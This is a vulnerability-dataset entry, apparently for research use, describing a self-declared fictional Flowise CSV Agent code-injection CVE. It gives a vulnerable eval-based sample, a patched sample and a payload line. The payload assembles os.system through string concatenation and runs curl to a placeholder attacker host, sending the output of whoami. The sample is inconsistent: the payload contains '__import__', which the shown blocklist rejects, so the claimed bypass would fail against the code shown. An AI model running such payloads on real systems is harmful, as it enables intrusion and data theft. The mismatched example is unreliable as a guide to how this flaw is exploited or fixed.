VAITP Dataset

← Back to the dataset

CVE-2026-73486

Flowise CSV Agent allows authenticated RCE via a blocklist bypass.

  • CVSS 9.0
  • 94
  • Input Validation and Sanitization
  • Remote

Flowise before 3.1.3 contains a code injection vulnerability in the CSV Agent node's customReadCSV parameter that allows authenticated attackers to execute arbitrary Python code. The validator uses a static regex blocklist that can be bypassed through obfuscation techniques, enabling attackers to execute code in the unsandboxed pyodide environment with full system access.

CWE
94
CVSS base score
9.0
Published
2026-08-13
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Flowise
Fixed by upgrading
Yes

Solution

Upgrade Flowise to version 3.1.3 or later.

Vulnerable code sample

import io
import re
import pandas as pd

# This CVE is fictional. The code is a synthetic example based on the description.

def load_csv_from_agent(csv_data: str, customReadCSV: str):
    """
    Processes a CSV using a customReadCSV parameter which is executed as code.
    A weak validator attempts to blocklist dangerous keywords.
    """
    # Validator uses a static regex blocklist
    if re.search(r"import|os|sys|__", customReadCSV):
        raise ValueError("Potentially malicious code detected in customReadCSV.")

    # The customReadCSV parameter is intended to be a string representation
    # of a dictionary of options for pandas.read_csv.
    # e.g., "{'sep': ';', 'header': None}"
    try:
        # VULNERABLE: The customReadCSV string is executed as Python code, which can be bypassed.
        options = eval(customReadCSV, {"__builtins__": {}}, {})
        
        if not isinstance(options, dict):
            raise TypeError("customReadCSV must evaluate to a dictionary.")

        return pd.read_csv(io.StringIO(csv_data), **options)

    except Exception as e:
        # Error handling for invalid code execution
        raise RuntimeError(f"Failed to execute custom CSV logic: {e}")

Patched code sample

import io
import re
import pandas as pd
import ast

# This CVE is fictional. The code is a synthetic example based on the description.

def load_csv_from_agent(csv_data: str, customReadCSV: str):
    """
    Processes a CSV using a customReadCSV parameter which is executed as code.
    A weak validator attempts to blocklist dangerous keywords.
    """
    # Validator uses a static regex blocklist
    if re.search(r"import|os|sys|__", customReadCSV):
        raise ValueError("Potentially malicious code detected in customReadCSV.")

    # The customReadCSV parameter is intended to be a string representation
    # of a dictionary of options for pandas.read_csv.
    # e.g., "{'sep': ';', 'header': None}"
    try:
        # FIX: Use ast.literal_eval to safely parse the string into a dictionary.
        options = ast.literal_eval(customReadCSV)
        
        if not isinstance(options, dict):
            raise TypeError("customReadCSV must evaluate to a dictionary.")

        return pd.read_csv(io.StringIO(csv_data), **options)

    except Exception as e:
        # Error handling for invalid code execution
        raise RuntimeError(f"Failed to execute custom CSV logic: {e}")

Payload

getattr(__import__('o' + 's'), 'sy' + 'stem')('curl http://<ATTACKER_IP>/$(whoami)')

Cite this entry

@misc{vaitp:cve202673486,
  title        = {{Flowise CSV Agent allows authenticated RCE via a blocklist bypass.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-73486},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-73486/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::